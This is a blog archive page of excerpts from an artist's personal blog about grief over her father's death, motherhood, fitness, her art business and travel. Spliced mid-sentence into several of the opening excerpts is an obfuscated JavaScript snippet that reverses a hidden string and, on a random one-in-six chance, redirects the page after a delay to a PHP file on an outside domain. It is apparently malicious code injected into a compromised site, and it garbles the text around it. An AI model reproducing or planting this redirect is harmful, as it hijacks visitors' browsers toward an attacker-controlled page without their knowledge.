Author: Aly Mcloughlin-Harte

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What a beautiful evening $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to celebrate the last day in my Holywood studio before I moved $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Lisburn Road in South Belfast in August! Pho$mWn=function(n){if(typeof ($mWn.list[n])=="string")...

Cradling deep rooted grief. You’re allowed to work through it.

I am positive that a psychologist could glance at my words and give an explanation far greater than the surface level thoughts I have around my deep rooted grief and what it looks like. However, in this message I will unravel such thoughts and you can nod your head in agreement or pause to think if you relate.

My third boy loves sticking plasters/band aids. Recently I spent a whopping £4.99 on a box of clear plasters only to realise there were a mere 16 products inside the pack ( I’ll let you do the math of what each plaster cost). When we arrived home he decided that his teddy had a sore eye and she needed one of the new clear (over priced) plasters to heal her wound.

Life is a bit like the title of this blogpost- it's about the palette more than the paint. In other words, how paint is mixed, blended,  squeezed out side by side to another colour, is more exciting and/ or damaging than the paint itself.

Not babies not yet grown. I wished them $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to school, now I wait on their return. Breast pads, velcro and routine replaced by Crisp packets, consoles and trampoline.  The beats of three hearts outside of me.  Hearts started in my...

This is the speech I made at my School prize day as guest of honouring October 2021.You can also list to it on my podcast here My name is Aly Harte and I am an artist, educator and podcaster. I hand on heart can say that friends School Lisburn enveloped and welcomed me when I joined in 1999 to study A levels. I loved my time here. To be honest. when the invite came through to speak today, my business was going through big changes- we had signed for a new studio which happens to have a shop front on the main street of holywood- no pressure! My previous Personal assistant Gemma sadly passed away at the age of 35 and, covid has meant that despite many successes, business is even more unpredictable than you would imagine in the creative industry.  I worried that I wasn’t a good fit.

  The beauty of running my own business is that I adapt and shift each month depending on new projects. The not so beautiful thing is that when a pandemic hits, your business plans come $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a...

On my podcast this week I share the tips that I have and some words about my own journey (and struggle) to/ with happiness. An ongoing journey where I have to stop, re evaluate and reset every once in a while.
I made this over a year ago.However, I think it continues to be relevant. I am sure many of you can relate.  

Go away grief

  Grief, you are the boyfriend I never asked for and the meal I didn’t order. You are the loud symbols in my silence always craving for my attention...
Creativity and healing   Before I utter the words “ I am an artist” it is more than likely that I say “I have three boys” as my opening line.   Our three children and their thoughts, habits and activities shape family life. My career as a professional painter and educator has grown organically around the boys.
I remember when I realised  I had a “print” shop on my first website. At the time I was photographing weddings and family events as well as making “ scribbles” . Now when I mentor creative females and I look back at my own career, I see how little I valued my work by calling the artwork “scribbles”.  However, to this day my husband and I laugh at how I just whizz a pen about a page a bit like scribbling. This is where the idea came from.
Funny that I’m typing this years anniversary letter to you using the notes app in my phone. I’ll explain why.

  The medics on the front line are the heroes and I made a doc$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor figure demo on my youtube $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to demonstrate the appreciation I feel...

Rather than ramble on as to the reasons why we may need these 7 tips right now, I’ll just let you scroll and apply as needed. Stay safe and stay home.  
It’s difficult for me not to think of my own Mother as Mother’s day draws near but then again it’s difficult for me to admit that, despite my writing to my deceased Father, to my deceased Grandmother and my dear cousin who passed away two years ago…I have somehow never written to or about my Mother - the only one still present. A constant in my life since Dad died in 1991. School, University, married life, my own journey as a Mother- she’s walked the walk with me. As with many of the personal pieces I write, my eyes begin to water with each click of the keyboard. But here goes…
My widowed Mother exclaims every time I write a blogpost about grief or sadness “ why do you torture yourself Alyson?”. She knows that I weep as I write. Some say it is cathartic to help me come to terms with my own grief from a young age, others say it is self serving. Yet, six years into my writing it feels bigger than that.
You had a turbulent day in work, a fraught journey home and now you’re sat on the sofa in your jeans and sweater after devouring some pasta with your hubby. You pop each wary foot into your slippers with the wool as light as marshmallows around your heels.
  Our family aired the tent out for the the first time this year. Last weekend we ventured to Portballintrae- the same area where I holidayed as a child with my Mum and my brother.
I had written this article for a magazine but after watching The Grinch UK with my boys today, I thought there may be some of you who will appreciate it now, in early November....
One son was at Cubs for the evening, another was playing with his wooden train track and the last was mumbling about no charge in the iPad. I had my biggest number of print orders on my art website that week and was amidst the hustle of making myself and my husband a late dinner. Stir-fry and prawns. Nothing too tasking. Without warning or reason the tears settled into the creases of my eyeliner. Thoughts of Dad rushed as I lifted the kids empty plastic cups off the table. The table he bought with his first pay cheque. Now a battered table and, when moved it almost loses a wooden leg. Yet, it holds meaning and it is one of the ways to be close to my Dad who died when I was seven. The older I get the more I cling to the physical elements where he once breathed life. The character of a man still lingering through this wonky table or white bulb light that hangs above my kitchen breakfast bar. A white light bulb light box with the words ‘duneight services’across it. This was the petrol station Dad owned with my, also deceased, Uncle Tom. Memories of him on every crevice and corner of my home. I pass such fixtures everyday and my eyes do not flicker, nor does my heart pull. However, in this instance, while the cinnamon candle burns and the Christmas advertisements begin to ring out on the television, I feel grief in all it’s force. And I cry. Tears flowing. To the point where my two year old asks “did you bang your knee too, mummy?”. Uncontrolled and wet. Wet soppy tears and a yearning for my Dad to be sat with a cup of tea and his oil stained hands from mechanic work at the table he used to own. A need for him to talk about the weather or to lift one of my sons into the air for a shoulder ride. It’s a pain I cannot put lightly into sentences but one that I have learned to let exist. In the busyness and the rough and tumble of being a business woman, a wife and a mum, I no longer reject these emotions and this… well, sadness. So much of my life was spent telling myself that I was “lucky “ because dad died of natural causes instead of being murdered or killed suddenly. Other times I had myself convinced that one parent being alive was all I ever needed and that grieving Dad was my way of looking for pity. But that is not the case. I don’t want attention or pitying eyes on me when I have these moments that stop me in my tracks as I boil potatoes on the hob. I don’t need hands on my back patting me. I just need that fleeting moment in time to remember who is missing so much of my life. Who no longer sits at the table at Christmas. My beautiful cousin died in January and this Christmas we will be without her on Christmas day. After both of our fathers died the two families and widowing mothers merged. Even after we had our own children everyone still continued to mash together like a herd of cattle to share Christmas shloer and cut the turkey. I remember a few years ago as I took the annual self timer shot of our family one of us commented how we have to do these things because “you never know what the next year will bring”. And its true, isn’t it? A few days, hours or months can change a whole lot in our lives. So this Christmas, if you dread the radio playing “the bells are ringing out for Christmas day” or, you find yourself slapped in the face by grief as you bundle the kids to send them to the school nativity. Please afford yourself that time. Tears can be wiped and make up retouched. But memories and moments in the short spaces of stillness that we give ourselves, cannot be replaced. Allow your mind to take that journey of engaging with the smells and sounds that once were. The ones that remind you vividly of the person you miss with all of your heart. Your life is all the richer for keeping the ones you have lost at the forefront. Talking about them, wearing their sweaters (or Dad’s boiler suit like I do when I paint. ) and playing their top 10 tunes on the hi fi that sat in their bedroom. Grief doesn’t disappear but it does linger and I’ve learned that it, in itself, can be a good thing. A two minute window when we are forced to stand still while the world spins - It’s ok to feel sad this Christmas. When your tears are wiped and your laughter returns you will be all the more merry for it!
A psychologist I am not but a living breathing, emotional, reactive human being I most certainly am. Therefore, my blog allows me to share thoughts, some of my life and my (mainly personal) findings in relation to this topic of art and fitness. It is something I am so passionate about and excited to share with you. In this post we will discuss how art and fitness are linked and how they will improve your overall state of mind.

“ The emerging woman ... will be strong-minded, strong-hearted, strong-souled, and strong-bodied...strength and beauty must go together.”Louisa May Alcott

From Fifty shades of grey ( Jamie, I’m sorry, as lovely as you are, these movies are terrible) to the more serious cases in and out of court around sexual harassment, women are at the centre.
I read in last months Women's Health Magazine, in noted that we should be more open and honest in life. Apparently, this helps us to move forward with our lives and to prevent getting “stuck” in toxic friendships and relationships. When I read it I was drawn to the bullet points they had at the end of the article. One read “Tackle grief …”. It progressed to say how we are held back by unprocessed emotions, grief being one of them. As someone who “lost” (he didn’t fall of a pier but “lost” seems to be the terminology used often to describe death) my father a week before my eighth birthday, I can put my hand on my similarly defected heart (Dad died due to heart problems) and agree that the notion of dealing with grief stood out to me because it rang so true to me.
I don’t know about you, but the reality tv programme Love island was a shameless part of a my weekly tv watching last year. After it ended my phone battery took a hit as I crept online at the couples. Olivia and her baby faced farmer, Amber and Kem, Marcel and Gabby (my faves) and of course hot Calvin Klein model Jamie Jewitt and Camilla Thurlow. All of whom are fascinating to watch as they plummet into the wave of stardom since their departure from Majorca. What stands out for me about Cam and Jamie is their desire to serve others. Yes, you might think some of it a little contrived or look at Camilla and her privileged upbringing thinking “it’s alright for her standing in a soup kitchen while I’m here in my 9-5 trying to make my own ends meet”.All of which is perfectly valid but...
Good, bad, ugly, inward, outward, to self or to others – words have impact. A few  weekends ago my one year old poured a 500ml bottle of water over my laptop. I can’t even say I was unaware of the water, the pouring, the puppy, the toddler and the busyness of the two of them in the hallway. I was in the kitchen and somehow thought “I’ll just mop it up later” as I continued to clean the lunch dishes.
The new year can create a shocker for people, for any of us in fact who want to strive for better but feel bombarded by so.much.information. As you will see on my social media channels and if you were to meet me in person  you will quickly learn that I am an advocate for self-care. This means that I am not going to tell you that you need to change. Of course you are perfectly entitled to change physical parts of your body if you so desire this year (I have recently entered the world of lash extensions - WoW. Obsessed.).   If altering something or working towards losing weight or gaining muscle makes you stand a little taller or breathe a little deeper then I am all in. I want you to be YOU! Prioritise getting to know yourself over everything else and the rest will follow.
My late Father was a mechanic. He (from what I remember / have been told) was a warm, compassionate and vibrant business man who could turn his hand to any car.
For the month of October I will be giving 20% of sales from four of my art prints (priced between £10 and £30) to four charities related to tackling cancer. Will you join me? I kind of hate using the word ' cancer' because of what it means and how it sounds to so many of us who have been affected either directly or through a family member or friend. My good friend Laura changed cancer to " the melt" for the months following her diagnosis and I think that sums up the sinking feeling as those words resonate. So, with tears rolling down my cheeks and my hand firmly on my heart, I am going to use my little corner of the internet to promote the fight against all things cancer here on my blog and across my social media during October.
Wanting to open that shop front down the road where the hipsters gather and you just know fancy coffee will sell along with pea sized over priced salted caramel brownies.
Hello July! How is your Summer kicking off? We had the most glorious two weeks in Donegal. I ate, drank, worked out (a little!) and spent days on end with my three boys and husband. No flight to rush for or bags to pack suited to airport scales. A simple trip where you bung everything (including the dog!) into the boot of the car and off you go. Half of the beach at Narin came home in our car but we all left happy and refreshed. Find my print of Narin beach here on my online shop. Also the print of the two boys in the header can be found here. Now that I am back to work and the baby is back in day care I have the two big boys around my feet and had to get creative about where to put their bounding energy for a few days. I imagine some of you were prepared and booked ahead of time but sadly I am the mother who runs ragged on a Monday morning five minutes before the School bell scrapping money from the back of the sofa for dinner money. So there was no way I was going to be organised enough to get Summer activities in place before mid July!!

Photographs by Jayne Lindsay photography at Pineapple studios Belfast

This detox was set as a challenge (my husband’s idea, not mine) for personal reasons not related to weight or to body image. If you want to see before and after shots of me then see my postpartum posts here and here. Basically I wanted to feel better and to give my body a chance to cleanse after what feels like a year of drinking wine whenever I want, consuming a bag of fruit gums or sports mixture every other day. Or at least that's what it felt like. I just wanted a change and with most things in my life, I tend to go all in or not at all. I wanted discipline and I wanted to see how it felt waking up on a Monday morning not having had even one glass of red wine the night before while watching Luther . Side note – have you watched Luther? It is the scariest darkest programme I have possibly ever watched. The main character is played by Idris Elba who is just gorgeous. Perhaps that is what keeps me watching rather than the intense storyline that I tell my husband keeps me addicted!?! (I have a boxset blogpost here if you are like us and watch them from start to finish then have NOTHING left to give but a gapping black hole where your box set once lay).
Running my own business was never at the forefront of my life's ambition. It really wasn't. Art College was a great fit and teaching seemed like a fun occupation so I sort of ran with all of it. Until teaching was no longer a passion or indeed an option. Then I had to get creative and start to open my eyes to what on earth I would do after I finished my Masters in Fine art. I want to say my business has been running for eight years but really I shuffled along paying more for childcare than I was earning at the start of this venture. So it is only in the past three years (possibly since launching my first website) that the ball has rolled more than it has had to be pushed. I grew so much in the early days- I talk about them here, and continue to grow with every podcast I listen to, painting I under price and fellow business mentor I meet. My love for sharing information and encouraging other people has been in my bones and I love that my business, and in particular this blog, allows me to extend from my art in your homes to helping you ( albeit on a minor scale) with all things wellbeing and business.

The picture above I am on one of the new pieces of equipment in my gym, David Lloyd Belfast. Wearing a Better bodies outfit.

It comes as no surprise to my regular blog readers that my life revolves around a few simple things- God, my family, my friends, travel and without a doubt exercise! You can read about my health and sickness journey here. One of the main influencers for the name of my blog was my Darling Granny Edna who passed away a year ago this week. She was, unlike myself, not a gym addict but she lived well. By that I mean she didn't drink alcohol ( at least not during my lifetime.), she picked salads over carbs (not that she would have seen it that way. Her love for heinz salad cream over scallions, cucumber, iceberg lettuce and garden tomatoes ran deep) and she drank lemon and hot water every morning along with her porridge which was steeped from the night before (she was on the bircher overnight oats before any of the rest of us!). Perhaps living consciously with regards to my health is in my genes, who knows? Either way I love it and I'm passionate about sharing my journey with you. Now, let's talk you! I am so aware that social media has bombarded you with "new year new you" slogans and "get fit quick" diet plans or exercise routines. I'm sure I am not the first to break it to you - There is no quick fix.

Healthy breakfasts.

I have always been an advocate for breakfast, it may be my favourite meal in the day. Although saying that, I love a cold meats platter lunch, or a steak dinner or a pizza. Nonetheless, a good start to my day includes a decent breakfast. The further I get into eating whole foods and nourishing foods for my body, the more intrigued I am about the variety of good stuff out there which can be sourced locally and/or easily in our larger supermarkets. I asked my instagram followers to share their favourite healthy breakfasts and I have included their recipes amongst the other links.
  Where do I start as I think about the relationship that my mother in law once called "loves young dream" ? T he one that started with monthly gifts (yes, every month a different gift) bought from him to me. Not just flower gifts - a stereo, tickets to the theatre, fun dinners. For seven months he swooned me and hit the nail in the coffin (for want of a better term) by proposing on one knee while we painted the bathroom of his new house. Deal.Done.
Put simply, here is my super special Northern Irish gift guide. It is quite literally full to the brim with makers, locations, drinks, interiors and more to help you decide what gifts to buy this Christmas. I have not been endorsed to do any of this by anyone, I am just an artist who is passionate about and happy to share the love and to support local.

Image credit Gather and Tides

I'm all for clearing out junk in the home. So much so I even made a post about minimalism here. My husband views my 'tendency' for "gutting out" as a bit of an illness. This urge to clear out normally raises it's ugly head on a weekend. You know the kind- all is well and quiet in the world of family time, there are no work emails to distract the mind, a general state of untidiness has already descended the minute the lads come in from school and dump their School bags on the Friday. So, with all of this in front of my very eyes, I take a head staggers and start to trail everything out. Literally. "You have to crack an egg to make an omelette" my good friend once said. Nothing will do except a good clear out from top to bottom of a drawer, a medicine cabinet,  the baby's room, my shoe boxes, even the pots and pans can take a bashing. Feeling overwhelmed by "stuff" is something I struggle with. It sits better with me knowing that someone somewhere else can use what I no longer will. Looking around my house and feeling overwhelmed often is perhaps not the best trait for someone who is in the business of selling prints which in themselves can be viewed as "stuff". Perhaps it is to the detriment of my yearly income that I don't like to harp on about sales over and over again, but if you meet me for more than five minutes you will learn that my driving force behind these long hours, juggling three kids (one aged six months) and keeping a large number of people happy on social media, e mail and face to face, is not to line my pockets.
I can see the eye rolls as this post airs. Finding itself disappearing into the plethora of "postpartum blogposts " and "weight doesn't matter" memoirs. Nonetheless, I have my own audience and ultimately I am speaking to you my dear friend. Women who have stuck with me through this journey of self discovery, who have engaged with me and sent e mails or texts about their own struggles. Those of you who stop me in the shops to say you started a kettle bell class after seeing my video, or made the decision to commit to two instead of three nights a week pilates classes when you realised it's just not possible to do it"all". I love being surrounded and inspired by women like you, in my repertoire, who consistently let go of the need for the "perfect body" as defined by our air brushed society. Seeing self worth as a better guide than any scales or numbers on a machine - you my darling are who this is for.
I spoke to my husband about how I *really* wanted to use this title even though it has perfect associations with the weird horror film 'The sixth sense' where a wee lad actually sees dead people. It goes something like this... "How often do you see them? Cole Sear: "All the time. They're everywhere. " What a skill set, eh? Or like Mel Gibson in the movie 'What women want' where he hears what women think ALL THE TIME.  Sure you'd make a fortune. I digress. My point being that with a title like "Seeing dead people" you'd be forgiven for thinking I had paranormal abilities. But I do not. If you're looking for ouija boards (a guy I fancied at the holiday camp site when I was 10 said he tried ouija board. Said he and his sister lifted off the floor. He also told me that he owned his own motorbike and had snogged twenty girls that Summer, so it's fair to say he might be a liar), karma instincts and/or a deep rooted sense of ghosts you will, sadly, not find that here. I am a complete scaredy cat if truth be told. I grew up in the countryside and when I locked my pony's "stable" (which was the old cattle pen within a big shed) I would sprint the one hundred metres across the yard to make sure I was clear of the dark, the leprechaun my uncle told me resided behind the big shed, or any kind of "bad men". This post is more about "seeing" my deceased Dad in the bodies and brains of my three children, my brother, and I guess, myself.
If you've been around my blog for more than 48 hours you will know that I love NYC (I even have art prints here and here you can buy of NYC). I talk about it a whole lot- sorry. It so happens that I have around 30 great friends who live there so my connection to the city itself is not based on tourism but more on community and a love for some of it's people. As a result of visiting there two or three times each year I get asked quite a bit about places to visit. I am not always sure how to respond as we do many of the same routes and eating when we visit various parts of the city- mainly downtown Brooklyn, Williamsburg, Soho and Midtown. Often I visit NYC and spend so little money or I don't even darken the door of a clothes store. This is mainly because I really just love the vibe of the city and to see our crew of friends, all of whom I met because of Camp Treetops. This was a camp I worked at when I was 18 and re visited to work at last Summer with my boys (read here). So maybe don't view my rough guide as your first and foremost but all of the places I recommend here I have tried and loved and can make your visit so so fun!
I read blogposts about motherhood these days and it is often about the struggles and strife of trying to parent young children. I am as guilty as anyone.  You can see my gripes here and here. Sometimes venting helps with the support network we feel as Mums finding our way in this. But what about if we celebrate motherhood, the laughs, the raves, the fun and the joy that these mini Mum and Dads bring us? What about looking at the best parts instead of the worst or even still, what is yet to come in our lives once we get through the sleepless nights or the teenage years.

Eyebrows on fleek in my High School days (middle pic).

As a child I was aware that School was to be respected, attended and adhered to. I enjoyed my time in the classroom. But being pushed in one direction or the other regarding education was not in my Mum's nature. Maybe she had a peace that things would work out for me and my brother. Or maybe it was because she, like me,placed more importance on the need to try one's best and to embrace the School environment as a whole, rather than push specific results. I "failed" my eleven plus at the age of 11 and went to a High school instead of a Grammar school.

As I sit beside my freshly showered husband of ten years

he watches Olympic hockey and I secretly start the typing for this post.

My aim is not public kisses and hugs for my husband

I have such a clatter of emotions surrounding this post.

Embarrassment that people will see these dire photos of me. Complete disgust at myself for believing that I am in any way out of shape to begin with.  Then I move swiftly to feeling empowered that my body has housed three human beings and looks the way it does after only ten weeks since popping out the last one. And finally (you still here?) I question continually why am I putting this sh** out into the world in the first place?

I have struggled girls.

The Aslan special edition print is available HERE and you can personalise it with a quote from Narnia.

I am not keen on promoting my products to the heavens when the hallmark holidays like Mother's day and Valentines day come up on the calendar.

But I often get asked about which of my prints are the most popular for men.

So below I have compiled a list to take the thinking out of it for you.

My art is made with love in my studio in Belfast. Then they are transformed into prints using Belfast company Media Design Print.

Therefore my work is 100% Belfast bred. Simply click the link above each print and it will take you straight to the product.

I don't think I know what a birth story is supposed to sound/look like

but I do know that since my second born in 2011 the internet has opened up a world of birth stories available at the touch of a button. It's kind of the way the world works these days, right? Albeit a little unnerving.

I imagine if I asked my Mum about her birth story it wouldn't have photos and bullet point explanations of her contractions.

However, it's still important and I do know what happened at my birth  which is cool and something I like to know.

You can rest assured this won't be the gory, bloody or even vernix covered story you may have seen in the past.

I think when you are pregnant with your first it seems other Mums want to share their story - how many hours she was in labour, the graphic details, the epidural wearing off too soon and the dreadful midwives they felt at the mercy of.

I don't intend to do this. The reason I am putting Abraham's birth story out there is for the positive side. Even if I thought this was something I would never share.

Don't get me wrong- you know I love a good moan on the internet especially where parenthood is concerned- like here about my hyperemesis and my struggle with pregnancy and here about my exhaustion. So it is not that I like to keep this little space of mine all flowery and fluffy with only the hippy dippy good stories.

It's more that I had a good experience and you can too. Especially if you are thinking about a natural birth.

  I am not entirely sure how this birth story should start.

Here goes

This started as a boring old rant from a tired Mum.

I had written it when I was thirty nine weeks pregnant, had a sore pelvis and hated the world a bit. So when I came home from hospital five days ago on cloud nine having had my babe and all was right with the world again, I looked at it with disdain and thought

"I can't air that moany piece of crap".

So I stalled it.

Then last night,

I don't know if it was a combination of the baby blues (it was day five), the exhaustion of a newborn or the fear of my husband returning to work but I lost my way and failed at disciplining (I hate that term- maybe 'failed at parenting' is better) my four year old for his rude behaviour and I hate myself for it and I thought, "Well, I may as well share the darn thing now".

Guilt ridden tears roll down my cheeks at 2.47am as I feed the newbie and type this amended intro because I keep replaying in my mind the scenario with the four year old.

I'll set the familiar scene any mother will recognise

Well of course I'm nine months pregnant on the anniversary of my Dad's death this year.

I am learning to embrace these little intricacies and coincidences in my colourful life, knowing that things do (seem to) happen for a reason.

When I thought they might schedule a planned c section for me I had this feeling

that the date would be Dad's anniversary (April 19th) and I felt surprisingly calm about that. I did use fickle language in response to my Mum asking how I would feel if this would be the case stating,

 "I think it would be quite nice. I guess it wouldn't be ideal if the baby or I died. Well, it wouldn't be good for you.."

Sometimes I really need to check myself. Insensitive and not really funny is how one could describe such a statement.

This post isn't intended to be sad or filled with self pity.

There is so much irony in this post I barely know where to start.

Firstly, if you haven't already gathered from the blog, I like to think of myself as a free bird despite the fact that I have a mortgage, a business, two children with another on the way and I own a car.

Look at my pinterest boards and see my ever longing desire to travel.

I love to see the world and I love to bring my husband and kids along for the ride. [caption id="attachment_755" align="aligncenter" width="940"]Processed with VSCOcam with f3 preset My son walking to work jobs at camp in upstate New York last Summer where I was the head of the horse riding programme.[/caption]   So, my sudden urge to settle into home life (at the grand age of 32 - 33 in two weeks for those that care) albeit fuelled I am sure by the impending baby in my swollen belly, is something out of the ordinary .

I have always been a fan of interior design and enjoy how my home looks,

You may or may not view your life as stressful.

To be honest I hate even using the term "stressful" to describe a situation I find myself in. 'I mean really Aly, is this stressful or are you being dramatic?" I say to myself. I guess it is a way of protecting them against what is inevitable in their grown up lives with the rising cost of living etc. Recent posts such as this grief one or this about online safety for our kids have struck a cord in many of you. This got me thinking...

For some reason it's always around St patricks day that I am reminded of my student days.

Perhaps it's that my student days were the only time in my Iife that I celebrated the occasion with a full day of partying (sorry Mum) alongside my friend Holly and our four male housemates.

It also happened to be the time of my life when I held down an incredible amount of jobs.

Funny really as one would assume it it impossible for a student (!) to find the time to hold down any job at all with all the work and pressure they are under... One would wonder...

I often wonder myself, did I study at all?

But then again it was art college I attended for seven full years so it's fair for anyone to question whether "studying" happens within those paint splattered walls at all.

As I am now in a position in my business where I need apprentices to work with and further my career, it got me thinking.

"If parents and kids can talk together, we won't have as much censorship because we won't have as much fear. ― Judy Blume

I have referred to my work with young people with learning difficuties a number of times before.

Especially noteworthy are my sensory videos showcasing glimpses into art classes catering for profound learning disabilities and children on the autistic spectrum. All videos on there are applicable for toddlers and anyone in mainstream education also.

I became a parent in 2009.

This meant I couldn't offer art workshops any longer or work in a one to one capacity with kids linked to social services or out of mainstream schooling.

But everything I have learned from this work is as applicable now more than ever with my own children. Take from it what you will.

If my training has taught me anything, it's that all of these skills are people relatable and entirely transferable.

I have a mailing list for my customers

and admitted recently that I am not good at plugging my art prints to extreme during the hallmark holidays.

I lost a few subscribers after this,

so maybe I was a bit hasty in my honesty about organic marketing. However, my point was that I made sales and meaningful interactions with customers despite the need for me shouting "Buy this!". " You need this ". "Mum will love this ", Valentines day will be the best with this in your life"!

It just doesn't sit well with me.

So I wanted to say that although this is airing on Mothering Sunday in the UK. It doesn't mean I am shouting about Mothering Sunday from the rooftops or placing any more importance on it than the normal importance I place on our "everyday" actions, words and places.

I am writing this post to/for those of you who are struggling on this day.

This post started as a rant about the copious amount of kid photos on social media

but I quickly thought better of it feeling it wasn't appropriate or kind, so forgive me.

I'm a mother myself

and I constantly question at what stage  did sharing multiple pictures of our offspring become a natural part of our society?

It was around this time last year that I was in great turmoil

(I use this term loosely) about what on earth to call my new blog. The creative journey can be a laborsome and torturous one which always comes to fruition in the end but takes much commitment.

Finally I called my friend Adele with a light bulb moment.

I exclaimed;

"I am going to call the blog Darling Edna after Granny Edna!

Ok, first off, I'm a Mum.

So if you are also a Mum and reading this rolling your eyes at the thought of me in any way helping your morning become smoother- know that I am aware that some days it.just.doesn't.happen. Kids with night terrors, babies teething, lunch boxes unpacked, exhaustion, exhaustion ,exhaustion (read my Motherhood guide here) all add to the stress and, quite frankly, some mornings are a write off.

And that is perfectly fine.

However, when possible I suggest you place these little ducks in a row and see small (hopefully significant) changes in your morning.
It's 4am and I have my head down the toilet bowl thinking to myself;

"Is this what my life has become?"

"I didn't even drink that much... or ANYTHING in fact!!" ...

Reset the exact same scenario up to fifteen or twenty times a day,

everyday, for seventeen weeks.  

That, my friends, teamed with all day nausea, dehydration, headaches and low blood pressure, is hyperemesis.

It's 11pm back home and 6pm here in NYC as I type on my shiny new macbook air keypad. A friend kindly got us an upgrade so I'm in a fancy lounge sucking the life out of their free wifi while I sip on a frothy fresh cappuccino and nibble my complimentary cookie (and brownie and nuts and juicy apples - ALL of the treats).

Life is good, right?

When is there a right time to talk about grief?

Never really. At least that's the conclusion I have found considering I have let this post sit on the back burner of my brain for quite sometime Every time I think I will give it a whirl someone I know loses a parent, another friend miscarries a baby or , terminal illness hits a young adult close to mine or my husband's heart. Death is everywhere. Great uplifting start to this post, eh?

So what qualifies me to write about such a topic?